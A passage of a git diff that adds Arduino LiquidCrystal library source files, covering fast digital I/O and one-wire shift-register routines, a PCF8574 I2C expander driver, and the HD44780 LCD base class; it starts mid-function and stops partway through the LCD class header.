fio_bit dataBit, + fio_register clockRegister, fio_bit clockBit) +{ + ATOMIC_BLOCK(ATOMIC_RESTORESTATE) + { + // shift out 0x0 (B00000000) fast, byte order is irrelevant + fio_digitalWrite_LOW (dataRegister, dataBit); + + for(uint8_t i = 0; i<8; ++i) + { + fio_digitalWrite_HIGH (clockRegister, clockBit); + fio_digitalWrite_SWITCH (clockRegister, clockBit); + } + } +} + + +void fio_shiftOut1_init(uint8_t pin) +{ + fio_shiftOut1_init(fio_pinToOutputRegister(pin,HIGH),fio_pinToBit(pin)); +} + +void fio_shiftOut1_init(fio_register shift1Register, fio_bit shift1Bit) +{ + // Make sure that capacitors are charged + // 300us is an educated guess... + fio_digitalWrite(shift1Register,shift1Bit,HIGH); + delayMicroseconds(300); +} + + +void fio_shiftOut1(fio_register shift1Register, fio_bit shift1Bit, uint8_t value, + boolean noLatch) +{ + /* + * this function are based on Shif1 protocol developed by Roman Black + * (http://www.romanblack.com/shift1.htm) + * + * test sketches: + * http://pastebin.com/raw.php?i=2hnC9v2Z + * http://pastebin.com/raw.php?i=bGg4DhXQ + * http://pastebin.com/raw.php?i=tg1ZFiM5 + * http://pastebin.com/raw.php?i=93ExPDD3 - cascading + * tested with: + * TPIC6595N - seems to work fine (circuit: http://www.3guys1laser.com/ + * arduino-one-wire-shift-register-prototype) + * 7HC595N + */ + + // iterate but ignore last bit (is it correct now?) + for(int8_t i = 7; i>=0; --i) + { + + // assume that pin is HIGH (smokin' pot all day... :) - requires + // initialization + if(value & _BV(i)) + { + ATOMIC_BLOCK(ATOMIC_RESTORESTATE) + { + // HIGH = 1 Bit + fio_digitalWrite_SWITCHTO(shift1Register,shift1Bit,LOW); + //hold pin LOW for 1us - done! :) + fio_digitalWrite_SWITCHTO(shift1Register,shift1Bit,HIGH); + } // end critical section + //hold pin HIGH for 15us + delayMicroseconds(15); + } + else + { + ATOMIC_BLOCK(ATOMIC_RESTORESTATE) + { + // LOW = 0 Bit + fio_digitalWrite_SWITCHTO(shift1Register,shift1Bit,LOW); + // hold pin LOW for 15us + delayMicroseconds(15); + fio_digitalWrite_SWITCHTO(shift1Register,shift1Bit,HIGH); + } // end critical section + + // hold pin HIGH for 30us + delayMicroseconds(30); + } + if(!noLatch && i==1) + { + break; + } + } + + if(!noLatch) + { + ATOMIC_BLOCK(ATOMIC_RESTORESTATE) + { + // send last bit (=LOW) and Latch command + fio_digitalWrite_SWITCHTO(shift1Register,shift1Bit,LOW); + } // end critical section + delayMicroseconds(199); // Hold pin low for 200us + + ATOMIC_BLOCK(ATOMIC_RESTORESTATE) + { + fio_digitalWrite_HIGH(shift1Register,shift1Bit); + } // end critical section + delayMicroseconds(299); // Hold pin high for 300us and leave it that + // way - using explicit HIGH here, just in case. + } +} + +void fio_shiftOut1(uint8_t pin, uint8_t value, boolean noLatch) +{ + fio_shiftOut1(fio_pinToOutputRegister(pin, SKIP),fio_pinToBit(pin),value, noLatch); +} diff --git a/libraries/LiquidCrystal/FastIO.h b/libraries/LiquidCrystal/FastIO.h new file mode 100644 index 0000000..8636e20 --- /dev/null +++ b/libraries/LiquidCrystal/FastIO.h @@ -0,0 +1,219 @@ +// --------------------------------------------------------------------------- +// Created by Florian Fida on 20/01/12 +// Copyright 2012 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// http://creativecommons.org/licenses/by-sa/3.0/ +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// --------------------------------------------------------------------------- +// fio_shiftOut1 functions are based on Shif1 protocol developed by Roman Black +// (http://www.romanblack.com/shift1.htm) +// +// Thread Safe: No +// Extendable: Yes +// +// @file FastIO.h +// This file implements basic fast IO routines. +// +// @brief +// +// @version API 1.0.0 +// +// @author Florian Fida - +// 2012-03-16 bperrybap mods for chipkit32 (pic32) Arduino +// support chipkit: +// (https://github.com/chipKIT32/chipKIT32-MAX/blob/master/hardware/pic32/ +// cores/pic32/wiring_digital.c) +// --------------------------------------------------------------------------- +#ifndef _FAST_IO_H_ +#define _FAST_IO_H_ + +#if (ARDUINO < 100) +#include +#else +#include +#endif + +#include // pleasing sanguino core +#include + + +#define SKIP 0x23 + +#if defined (__AVR__) +#include // for critical section management +typedef uint8_t fio_bit; +typedef volatile uint8_t *fio_register; + + +#elif defined(__PIC32MX__) +typedef uint32_t fio_bit; +typedef volatile uint32_t *fio_register; + + +#else +// fallback to Arduino standard digital i/o routines +#define FIO_FALLBACK +#define ATOMIC_BLOCK(dummy) if(true) +#define ATOMIC_RESTORESTATE +typedef uint8_t fio_bit; +typedef uint8_t fio_register; +#endif + + + +#if !defined(FIO_FALLBACK) && !defined(ATOMIC_BLOCK) +/* + * Define an ATOMIC_BLOCK that implements ATOMIC_FORCEON type + * Using the portable Arduino interrupts() and noInterrupts() + */ +#define ATOMIC_RESTORESTATE ATOMIC_FORCEON // sorry, no support for save/restore yet. +#define ATOMIC_FORCEON uint8_t sreg_save \ + __attribute__((__cleanup__(__iSeiParam))) = 0 + +static __inline__ uint8_t __iCliRetVal(void) +{ + noInterrupts(); + return(1); +} +static __inline__ void __iSeiParam(const uint8_t *__s) +{ + interrupts(); +} +#define ATOMIC_BLOCK(type) for(type, __Todo = __iCliRetVal(); __Todo; __Todo = 0) + +#endif // end of block to create compatible ATOMIC_BLOCK() + + + +/*! + @function + @abstract Get the output register for specified pin. + @discussion if fast digital IO is disabled this function returns NULL + @param pin[in] Number of a digital pin + @result Register + */ +fio_register fio_pinToOutputRegister(uint8_t pin, uint8_t initial_state = LOW); + +/*! + @function + @abstract Get the input register for specified pin. + @discussion if fast digital IO is disabled this function returns NULL + @param pin[in] Number of a digital pin + @result Register + */ +fio_register fio_pinToInputRegister(uint8_t pin); + +/*! + @function + @abstract Find the bit which belongs to specified pin + @discussion if fast digitalWrite is disabled this function returns the pin + @param pin[in] Number of a digital pin + @result Bit + */ +fio_bit fio_pinToBit(uint8_t pin); + + +/*! + @method + @abstract direct digital write + @discussion without any checks + @discussion falls back to normal digitalWrite if fast io is disabled + @param pinRegister[in] Register - ignored if fast digital write is disabled + @param pinBit[in] Bit - Pin if fast digital write is disabled + @param value[in] desired output + */ +// __attribute__ ((always_inline)) /* let the optimizer decide that for now */ +void fio_digitalWrite ( fio_register pinRegister, fio_bit pinBit, uint8_t value ); + +/** + * This is where the magic happens that makes things fast. + * Implemented as preprocessor directives to force inlining + * SWITCH is fast for FIO but probably slow for FIO_FALLBACK so SWITCHTO is recommended if the value is known. + */ + +#ifndef FIO_FALLBACK +#define fio_digitalWrite_LOW(reg,bit) *reg &= ~bit +#define fio_digitalWrite_HIGH(reg,bit) *reg |= bit +#define fio_digitalWrite_SWITCH(reg,bit) *reg ^= bit +#define fio_digitalWrite_SWITCHTO(reg,bit,val) fio_digitalWrite_SWITCH(reg,bit) +#else +// reg -> dummy NULL, bit -> pin +#define fio_digitalWrite_HIGH(reg,bit) digitalWrite(bit,HIGH) +#define fio_digitalWrite_LOW(reg,bit) digitalWrite(bit,LOW) +#define fio_digitalWrite_SWITCH(reg,bit) digitalWrite(bit, !digitalRead(bit)) +#define fio_digitalWrite_SWITCHTO(reg,bit,val) digitalWrite(bit,val); +#endif + +/*! + @function + @abstract direct digital read + @discussion without any checks + @discussion falls back to normal digitalRead if fast io is disabled + @param pinRegister[in] Register - ignored if fast io is disabled + @param pinBit[in] Bit - Pin if fast io is disabled + @result Value read from pin + */ +int fio_digitalRead ( fio_register pinRegister, fio_bit pinBit ); + +/*! + @method + @abstract faster shift out + @discussion using fast digital write + @discussion falls back to normal digitalWrite if fastio is disabled + @param dataRegister[in] Register of data pin - ignored if fast digital write is disabled + @param dataBit[in] Bit of data pin - Pin if fast digital write is disabled + @param clockRegister[in] Register of data pin - ignored if fast digital write is disabled + @param clockBit[in] Bit of data pin - Pin if fast digital write is disabled + @param bitOrder[in] bit order + */ +void fio_shiftOut( fio_register dataRegister, fio_bit dataBit, fio_register clockRegister, + fio_bit clockBit, uint8_t value, uint8_t bitOrder ); + +/*! + @method + @abstract faster shift out clear + @discussion using fast digital write + @discussion falls back to normal digitalWrite if fastio is disabled + @param dataRegister[in] Register of data pin - ignored if fast digital write is disabled + @param dataBit[in] Bit of data pin - Pin if fast digital write is disabled + @param clockRegister[in] Register of data pin - ignored if fast digital write is disabled + @param clockBit[in] Bit of data pin - Pin if fast digital write is disabled + */ +void fio_shiftOut(fio_register dataRegister, fio_bit dataBit, fio_register clockRegister, fio_bit clockBit); + +/*! + * @method + * @abstract one wire shift out + * @discussion protocol needs initialisation (fio_shiftOut1_init) + * @param shift1Register[in] pins register + * @param shift1Bit[in] pins bit + * @param value[in] value to shift out, last byte is ignored and always shifted out LOW + */ +void fio_shiftOut1(fio_register shift1Register, fio_bit shift1Bit, uint8_t value, boolean noLatch = false); +/*! + * @method + * @abstract one wire shift out + * @discussion protocol needs initialisation (fio_shiftOut1_init) + * @param pin[in] digital pin + * @param value[in] value to shift out, last byte is ignored and always shifted out LOW + */ +void fio_shiftOut1(uint8_t pin, uint8_t value, boolean noLatch = false); +/*! + * @method + * @abstract initializes one wire shift out protocol + * @discussion Puts pin to HIGH state and delays until Capacitors are charged. + * @param shift1Register[in] pins register + * @param shift1Bit[in] pins bit + */ +void fio_shiftOut1_init(fio_register shift1Register, fio_bit shift1Bit); +/*! + * @method + * @abstract initializes one wire shift out protocol + * @discussion Puts pin to HIGH state and delays until Capacitors are charged. + * @param pin[in] digital pin + */ +void fio_shiftOut1_init(uint8_t pin); + +#endif // FAST_IO_H diff --git a/libraries/LiquidCrystal/I2CIO.cpp b/libraries/LiquidCrystal/I2CIO.cpp new file mode 100644 index 0000000..577c910 --- /dev/null +++ b/libraries/LiquidCrystal/I2CIO.cpp @@ -0,0 +1,198 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 20/08/11. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file I2CIO.h +// This file implements a basic IO library using the PCF8574 I2C IO Expander +// chip. +// +// @brief +// Implement a basic IO library to drive the PCF8574* I2C IO Expander ASIC. +// The library implements basic IO general methods to configure IO pin direction +// read and write uint8_t operations and basic pin level routines to set or read +// a particular IO port. +// +// +// @version API 1.0.0 +// +// @author F. Malpartida - fmalpartida@gmail.com +// --------------------------------------------------------------------------- +#if (ARDUINO < 100) +#include +#else +#include +#endif + +#include + +#include <../Wire/Wire.h> +#include "I2CIO.h" + +// CLASS VARIABLES +// --------------------------------------------------------------------------- + + +// CONSTRUCTOR +// --------------------------------------------------------------------------- +I2CIO::I2CIO ( ) +{ + _i2cAddr = 0x0; + _dirMask = 0xFF; // mark all as INPUTs + _shadow = 0x0; // no values set + _initialised = false; +} + +// PUBLIC METHODS +// --------------------------------------------------------------------------- + +// +// begin +int I2CIO::begin ( uint8_t i2cAddr ) +{ + _i2cAddr = i2cAddr; + + Wire.begin ( ); + + _initialised = Wire.requestFrom ( _i2cAddr, (uint8_t)1 ); + +#if (ARDUINO < 100) + _shadow = Wire.receive (); +#else + _shadow = Wire.read (); // Remove the byte read don't need it. +#endif + + return ( _initialised ); +} + +// +// pinMode +void I2CIO::pinMode ( uint8_t pin, uint8_t dir ) +{ + if ( _initialised ) + { + if ( OUTPUT == dir ) + { + _dirMask &= ~( 1 << pin ); + } + else + { + _dirMask |= ( 1 << pin ); + } + } +} + +// +// portMode +void I2CIO::portMode ( uint8_t dir ) +{ + + if ( _initialised ) + { + if ( dir == INPUT ) + { + _dirMask = 0xFF; + } + else + { + _dirMask = 0x00; + } + } +} + +// +// read +uint8_t I2CIO::read ( void ) +{ + uint8_t retVal = 0; + + if ( _initialised ) + { + Wire.requestFrom ( _i2cAddr, (uint8_t)1 ); +#if (ARDUINO < 100) + retVal = ( _dirMask & Wire.receive ( ) ); +#else + retVal = ( _dirMask & Wire.read ( ) ); +#endif + + } + return ( retVal ); +} + +// +// write +int I2CIO::write ( uint8_t value ) +{ + int status = 0; + + if ( _initialised ) + { + // Only write HIGH the values of the ports that have been initialised as + // outputs updating the output shadow of the device + _shadow = ( value & ~(_dirMask) ); + + Wire.beginTransmission ( _i2cAddr ); +#if (ARDUINO < 100) + Wire.send ( _shadow ); +#else + Wire.write ( _shadow ); +#endif + status = Wire.endTransmission (); + } + return ( (status == 0) ); +} + +// +// digitalRead +uint8_t I2CIO::digitalRead ( uint8_t pin ) +{ + uint8_t pinVal = 0; + + // Check if initialised and that the pin is within range of the device + // ------------------------------------------------------------------- + if ( ( _initialised ) && ( pin <= 7 ) ) + { + // Remove the values which are not inputs and get the value of the pin + pinVal = this->read() & _dirMask; + pinVal = ( pinVal >> pin ) & 0x01; // Get the pin value + } + return (pinVal); +} + +// +// digitalWrite +int I2CIO::digitalWrite ( uint8_t pin, uint8_t level ) +{ + uint8_t writeVal; + int status = 0; + + // Check if initialised and that the pin is within range of the device + // ------------------------------------------------------------------- + if ( ( _initialised ) && ( pin <= 7 ) ) + { + // Only write to HIGH the port if the port has been configured as + // an OUTPUT pin. Add the new state of the pin to the shadow + writeVal = ( 1 << pin ) & ~_dirMask; + if ( level == HIGH ) + { + _shadow |= writeVal; + + } + else + { + _shadow &= ~writeVal; + } + status = this->write ( _shadow ); + } + return ( status ); +} + +// +// PRIVATE METHODS +// --------------------------------------------------------------------------- diff --git a/libraries/LiquidCrystal/I2CIO.h b/libraries/LiquidCrystal/I2CIO.h new file mode 100644 index 0000000..e05f16b --- /dev/null +++ b/libraries/LiquidCrystal/I2CIO.h @@ -0,0 +1,148 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 20/08/11. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file I2CIO.h +// This file implements a basic IO library using the PCF8574 I2C IO Expander +// chip. +// +// @brief +// Implement a basic IO library to drive the PCF8574* I2C IO Expander ASIC. +// The library implements basic IO general methods to configure IO pin direction +// read and write uint8_t operations and basic pin level routines to set or read +// a particular IO port. +// +// @version API 1.0.0 +// +// @author F. Malpartida - fmalpartida@gmail.com +// --------------------------------------------------------------------------- + +#ifndef _I2CIO_H_ +#define _I2CIO_H_ + +#include + +#define _I2CIO_VERSION "1.0.0" + +/*! + @class + @abstract I2CIO + @discussion Library driver to control PCF8574 based ASICs. Implementing + library calls to set/get port through I2C bus. + */ + +class I2CIO +{ +public: + /*! + @method + @abstract Constructor method + @discussion Class constructor constructor. + */ + I2CIO ( ); + + /*! + @method + @abstract Initializes the device. + @discussion This method initializes the device allocating an I2C address. + This method is the first method that should be call prior to calling any + other method form this class. On initialization all pins are configured + as INPUT on the device. + + @param i2cAddr: I2C Address where the device is located. + @result 1 if the device was initialized correctly, 0 otherwise + */ + int begin ( uint8_t i2cAddr ); + + /*! + @method + @abstract Sets the mode of a particular pin. + @discussion Sets the mode of a particular pin to INPUT, OUTPUT. digitalWrite + has no effect on pins which are not declared as output. + + @param pin[in] Pin from the I2C IO expander to be configured. Range 0..7 + @param dir[in] Pin direction (INPUT, OUTPUT). + */ + void pinMode ( uint8_t pin, uint8_t dir ); + + /*! + @method + @abstract Sets all the pins of the device in a particular direction. + @discussion This method sets all the pins of the device in a particular + direction. This method is useful to set all the pins of the device to be + either inputs or outputs. + @param dir[in] Direction of all the pins of the device (INPUT, OUTPUT). + */ + void portMode ( uint8_t dir ); + + /*! + @method + @abstract Reads all the pins of the device that are configured as INPUT. + @discussion Reads from the device the status of the pins that are configured + as INPUT. During initialization all pins are configured as INPUTs by default. + Please refer to pinMode or portMode. + + @param none + */ + uint8_t read ( void ); + + /*! + @method + @abstract Read a pin from the device. + @discussion Reads a particular pin from the device. To read a particular + pin it has to be configured as INPUT. During initialization all pins are + configured as INPUTs by default. Please refer to pinMode or portMode. + + @param pin[in] Pin from the port to read its status. Range (0..7) + @result Returns the pin status (HIGH, LOW) if the pin is configured + as an output, reading its value will always return LOW regardless of its + real state. + */ + uint8_t digitalRead ( uint8_t pin ); + + /*! + @method + @abstract Write a value to the device. + @discussion Writes to a set of pins in the device. The value is the binary + representation of all the pins in device. The value written is masked with + the configuration of the direction of the pins; to change the state of + a particular pin with this method, such pin has to be configured as OUTPUT + using the portMode or pinMode methods. If no pins have been configured as + OUTPUTs this method will have no effect. + + @param value[in] value to be written to the device. + @result 1 on success, 0 otherwise + */ + int write ( uint8_t value ); + + /*! + @method + @abstract Writes a digital level to a particular pin. + @discussion Write a level to the indicated pin of the device. For this + method to have effect, the pin has to be configured as OUTPUT using the + pinMode or portMode methods. + + @param pin[in] device pin to change level. Range (0..7). + @para level[in] logic level to set the pin at (HIGH, LOW). + @result 1 on success, 0 otherwise. + */ + int digitalWrite ( uint8_t pin, uint8_t level ); + + + +private: + uint8_t _shadow; // Shadow output + uint8_t _dirMask; // Direction mask + uint8_t _i2cAddr; // I2C address + bool _initialised; // Initialised object + +}; + +#endif \ No newline at end of file diff --git a/libraries/LiquidCrystal/LCD.cpp b/libraries/LiquidCrystal/LCD.cpp new file mode 100644 index 0000000..373f529 --- /dev/null +++ b/libraries/LiquidCrystal/LCD.cpp @@ -0,0 +1,347 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 20/08/11. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LCD.cpp +// This file implements a basic liquid crystal library that comes as standard +// in the Arduino SDK. +// +// @brief +// This is a basic implementation of the HD44780 library of the +// Arduino SDK. This library is a refactored version of the one supplied +// in the Arduino SDK in such a way that it simplifies its extension +// to support other mechanism to communicate to LCDs such as I2C, Serial, SR, ... +// The original library has been reworked in such a way that this will be +// the base class implementing all generic methods to command an LCD based +// on the Hitachi HD44780 and compatible chipsets. +// +// This base class is a pure abstract class and needs to be extended. As reference, +// it has been extended to drive 4 and 8 bit mode control, LCDs and I2C extension +// backpacks such as the I2CLCDextraIO using the PCF8574* I2C IO Expander ASIC. +// +// +// @version API 1.1.0 +// +// 2012.03.29 bperrybap - changed comparision to use LCD_5x8DOTS rather than 0 +// @author F. Malpartida - fmalpartida@gmail.com +// --------------------------------------------------------------------------- +#include +#include +#include + +#if (ARDUINO < 100) +#include +#else +#include +#endif +#include "LCD.h" + +// CLASS CONSTRUCTORS +// --------------------------------------------------------------------------- +// Constructor +LCD::LCD () +{ + +} + +// PUBLIC METHODS +// --------------------------------------------------------------------------- +// When the display powers up, it is configured as follows: +// +// 1. Display clear +// 2. Function set: +// DL = 1; 8-bit interface data +// N = 0; 1-line display +// F = 0; 5x8 dot character font +// 3. Display on/off control: +// D = 0; Display off +// C = 0; Cursor off +// B = 0; Blinking off +// 4. Entry mode set: +// I/D = 1; Increment by 1 +// S = 0; No shift +// +// Note, however, that resetting the Arduino doesn't reset the LCD, so we +// can't assume that its in that state when a sketch starts (and the +// LiquidCrystal constructor is called). +// A call to begin() will reinitialize the LCD. +// +void LCD::begin(uint8_t cols, uint8_t lines, uint8_t dotsize) +{ + if (lines > 1) + { + _displayfunction |= LCD_2LINE; + } + _numlines = lines; + _cols = cols; + + // for some 1 line displays you can select a 10 pixel high font + // ------------------------------------------------------------ + if ((dotsize != LCD_5x8DOTS) && (lines == 1)) + { + _displayfunction |= LCD_5x10DOTS; + } + + // SEE PAGE 45/46 FOR INITIALIZATION SPECIFICATION! + // according to datasheet, we need at least 40ms after power rises above 2.7V + // before sending commands. Arduino can turn on way before 4.5V so we'll wait + // 50 + // --------------------------------------------------------------------------- + delay (100); // 100ms delay + + //put the LCD into 4 bit or 8 bit mode + // ------------------------------------- + if (! (_displayfunction & LCD_8BITMODE)) + { + // this is according to the hitachi HD44780 datasheet + // figure 24, pg 46 + + // we start in 8bit mode, try to set 4 bit mode + send(0x03, FOUR_BITS); + delayMicroseconds(4500); // wait min 4.1ms + + // second try + send ( 0x03, FOUR_BITS ); + delayMicroseconds(4500); // wait min 4.1ms + + // third go! + send( 0x03, FOUR_BITS ); + delayMicroseconds(150); + + // finally, set to 4-bit interface + send ( 0x02, FOUR_BITS ); + } + else + { + // this is according to the hitachi HD44780 datasheet + // page 45 figure 23 + + // Send function set command sequence + command(LCD_FUNCTIONSET | _displayfunction); + delayMicroseconds(4500); // wait more than 4.1ms + + // second try + command(LCD_FUNCTIONSET | _displayfunction); + delayMicroseconds(150); + + // third go + command(LCD_FUNCTIONSET | _displayfunction); + } + + // finally, set # lines, font size, etc. + command(LCD_FUNCTIONSET | _displayfunction); + + // turn the display on with no cursor or blinking default + _displaycontrol = LCD_DISPLAYON | LCD_CURSOROFF | LCD_BLINKOFF; + display(); + + // clear the LCD + clear(); + + // Initialize to default text direction (for romance languages) + _displaymode = LCD_ENTRYLEFT | LCD_ENTRYSHIFTDECREMENT; + // set the entry mode + command(LCD_ENTRYMODESET | _displaymode); + + backlight(); + +} + +// Common LCD Commands +// --------------------------------------------------------------------------- +void LCD::clear() +{ + command(LCD_CLEARDISPLAY); // clear display, set cursor position to zero + delayMicroseconds(HOME_CLEAR_EXEC); // this command is time consuming +} + +void LCD::home() +{ + command(LCD_RETURNHOME); // set cursor position to zero + delayMicroseconds(HOME_CLEAR_EXEC); // This command is time consuming +} + +void LCD::setCursor(uint8_t col, uint8_t row) +{ + const byte row_offsetsDef[] = { 0x00, 0x40, 0x14, 0x54 }; // For regular LCDs + const byte row_offsetsLarge[] = { 0x00, 0x40, 0x10, 0x50 }; // For 16x4 LCDs + + if ( row >= _numlines ) + { + row = _numlines-1; // rows start at 0 + } + + // 16x4 LCDs have special memory map layout + // ---------------------------------------- + if ( _cols == 16 && _numlines == 4 ) + { + command(LCD_SETDDRAMADDR | (col + row_offsetsLarge[row])); + } + else + { + command(LCD_SETDDRAMADDR | (col + row_offsetsDef[row])); + } + +} + +// Turn the display on/off +void LCD::noDisplay() +{ + _displaycontrol &= ~LCD_DISPLAYON; + command(LCD_DISPLAYCONTROL | _displaycontrol); +} + +void LCD::display() +{ + _displaycontrol |= LCD_DISPLAYON; + command(LCD_DISPLAYCONTROL | _displaycontrol); +} + +// Turns the underline cursor on/off +void LCD::noCursor() +{ + _displaycontrol &= ~LCD_CURSORON; + command(LCD_DISPLAYCONTROL | _displaycontrol); +} +void LCD::cursor() +{ + _displaycontrol |= LCD_CURSORON; + command(LCD_DISPLAYCONTROL | _displaycontrol); +} + +// Turns on/off the blinking cursor +void LCD::noBlink() +{ + _displaycontrol &= ~LCD_BLINKON; + command(LCD_DISPLAYCONTROL | _displaycontrol); +} + +void LCD::blink() +{ + _displaycontrol |= LCD_BLINKON; + command(LCD_DISPLAYCONTROL | _displaycontrol); +} + +// These commands scroll the display without changing the RAM +void LCD::scrollDisplayLeft(void) +{ + command(LCD_CURSORSHIFT | LCD_DISPLAYMOVE | LCD_MOVELEFT); +} + +void LCD::scrollDisplayRight(void) +{ + command(LCD_CURSORSHIFT | LCD_DISPLAYMOVE | LCD_MOVERIGHT); +} + +// This is for text that flows Left to Right +void LCD::leftToRight(void) +{ + _displaymode |= LCD_ENTRYLEFT; + command(LCD_ENTRYMODESET | _displaymode); +} + +// This is for text that flows Right to Left +void LCD::rightToLeft(void) +{ + _displaymode &= ~LCD_ENTRYLEFT; + command(LCD_ENTRYMODESET | _displaymode); +} + +// This method moves the cursor one space to the right +void LCD::moveCursorRight(void) +{ + command(LCD_CURSORSHIFT | LCD_CURSORMOVE | LCD_MOVERIGHT); +} + +// This method moves the cursor one space to the left +void LCD::moveCursorLeft(void) +{ + command(LCD_CURSORSHIFT | LCD_CURSORMOVE | LCD_MOVELEFT); +} + + +// This will 'right justify' text from the cursor +void LCD::autoscroll(void) +{ + _displaymode |= LCD_ENTRYSHIFTINCREMENT; + command(LCD_ENTRYMODESET | _displaymode); +} + +// This will 'left justify' text from the cursor +void LCD::noAutoscroll(void) +{ + _displaymode &= ~LCD_ENTRYSHIFTINCREMENT; + command(LCD_ENTRYMODESET | _displaymode); +} + +// Write to CGRAM of new characters +void LCD::createChar(uint8_t location, uint8_t charmap[]) +{ + location &= 0x7; // we only have 8 locations 0-7 + + command(LCD_SETCGRAMADDR | (location << 3)); + delayMicroseconds(30); + + for (int i=0; i<8; i++) + { + write(charmap[i]); // call the virtual write method + delayMicroseconds(40); + } +} + +// +// Switch on the backlight +void LCD::backlight ( void ) +{ + setBacklight(255); +} + +// +// Switch off the backlight +void LCD::noBacklight ( void ) +{ + setBacklight(0); +} + +// +// Switch fully on the LCD (backlight and LCD) +void LCD::on ( void ) +{ + display(); + backlight(); +} + +// +// Switch fully off the LCD (backlight and LCD) +void LCD::off ( void ) +{ + noBacklight(); + noDisplay(); +} + +// General LCD commands - generic methods used by the rest of the commands +// --------------------------------------------------------------------------- +void LCD::command(uint8_t value) +{ + send(value, COMMAND); +} + +#if (ARDUINO < 100) +void LCD::write(uint8_t value) +{ + send(value, DATA); +} +#else +size_t LCD::write(uint8_t value) +{ + send(value, DATA); + return 1; // assume OK +} +#endif diff --git a/libraries/LiquidCrystal/LCD.h b/libraries/LiquidCrystal/LCD.h new file mode 100644 index 0000000..88a58ad --- /dev/null +++ b/libraries/LiquidCrystal/LCD.h @@ -0,0 +1,536 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 20/08/11. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LCD.h +// This file implements a basic liquid crystal library that comes as standard +// in the Arduino SDK. +// +// @brief +// This is a basic implementation of the LiquidCrystal library of the +// Arduino SDK. This library is a refactored version of the one supplied +// in the Arduino SDK in such a way that it simplifies its extension +// to support other mechanism to communicate to LCDs such as I2C, Serial, SR, +// The original library has been reworked in such a way that this will be +// the base class implementing all generic methods to command an LCD based +// on the Hitachi HD44780 and compatible chipsets. +// +// This base class is a pure abstract class and needs to be extended. As reference, +// it has been extended to drive 4 and 8 bit mode control, LCDs and I2C extension +// backpacks such as the I2CLCDextraIO using the PCF8574* I2C IO Expander ASIC. +// +// The functionality provided by this class and its base class is identical +// to the original functionality of the Arduino LiquidCrystal library. +// +// @version API 1.1.0 +// +// +// @author F. Malpartida - fmalpartida@gmail.com +// --------------------------------------------------------------------------- +#ifndef _LCD_H_ +#define _LCD_H_ + +#if (ARDUINO < 100) +#include +#else +#include +#endif + +#include +#include + + +/*! + @defined + @abstract Enables disables fast waits for write operations for LCD + @discussion If defined, the library will avoid doing un-necessary waits. + this can be done, because the time taken by Arduino's slow digitalWrite + operations. If fast digitalIO operations, comment this line out or undefine + the mode. + */ +#ifdef __AVR__ +#define FAST_MODE +#endif + +/*! + @function + @abstract waits for a given time in microseconds (compilation dependent). + @discussion Waits for a given time defined in microseconds depending on + the FAST_MODE define. If the FAST_MODE is defined the call will return + inmediatelly. + @param uSec[in] time in microseconds. + @result None + */ +inline static void waitUsec ( uint16_t uSec ) +{ +#ifndef FAST_MODE + delayMicroseconds ( uSec ); +#endif // FAST_MODE +} + + +/*! + @defined + @abstract All these definitions shouldn't be used unless you are writing + a driver. + @discussion All these definitions are for driver implementation only and + shouldn't be used by applications. + */ +// LCD Commands +// --------------------------------------------------------------------------- +#define LCD_CLEARDISPLAY 0x01 +#define LCD_RETURNHOME 0x02 +#define LCD_ENTRYMODESET 0x04 +#define LCD_DISPLAYCONTROL 0x08 +#define LCD_CURSORSHIFT 0x10 +#define LCD_FUNCTIONSET 0x20 +#define LCD_SETCGRAMADDR 0x40 +#define LCD_SETDDRAMADDR 0x80 + +// flags for display entry mode +// --------------------------------------------------------------------------- +#define LCD_ENTRYRIGHT 0x00 +#define LCD_ENTRYLEFT 0x02 +#define LCD_ENTRYSHIFTINCREMENT 0x01 +#define LCD_ENTRYSHIFTDECREMENT 0x00 + +// flags for display on/off and cursor control +// --------------------------------------------------------------------------- +#define LCD_DISPLAYON 0x04 +#define LCD_DISPLAYOFF 0x00 +#define LCD_CURSORON 0x02 +#define LCD_CURSOROFF 0x00 +#define LCD_BLINKON 0x01 +#define LCD_BLINKOFF 0x00 + +// flags for display/cursor shift +// --------------------------------------------------------------------------- +#define LCD_DISPLAYMOVE 0x08 +#define LCD_CURSORMOVE 0x00 +#define LCD_MOVERIGHT 0x04 +#define LCD_MOVELEFT 0x00 + +// flags for function set +// --------------------------------------------------------------------------- +#define LCD_8BITMODE 0x10 +#define LCD_4BITMODE 0x00 +#define LCD_2LINE 0x08 +#define LCD_1LINE 0x00 +#define LCD_5x10DOTS 0x04 +#define LCD_5x8DOTS 0x00 + + +// Define COMMAND and DATA LCD Rs (used by send method). +// --------------------------------------------------------------------------- +#define COMMAND 0 +#define DATA 1 +#define FOUR_BITS 2 + + +/*! + @defined + @abstract Defines the duration of the home and clear commands + @discussion This constant defines the time it takes for the home and clear + commands in the LCD - Time in microseconds. + */ +#define HOME_CLEAR_EXEC 2000 + +/*! + @defined + @abstract Backlight off constant declaration + @discussion Used in combination with the setBacklight to swith off the + LCD backlight. @set setBacklight +*/ +#define BACKLIGHT_OFF 0 + +/*! + @defined + @abstract Backlight on constant declaration + @discussion Used in combination with the setBacklight to swith on the + LCD backlight. @set setBacklight + */ +#define BACKLIGHT_ON 255 + + +/*! + @typedef + @abstract Define backlight control polarity + @discussion Backlight control polarity. @see setBacklightPin. + */ +typedef enum { POSITIVE, NEGATIVE } t_backlighPol; + +class LCD : public Print +{ +public: + + 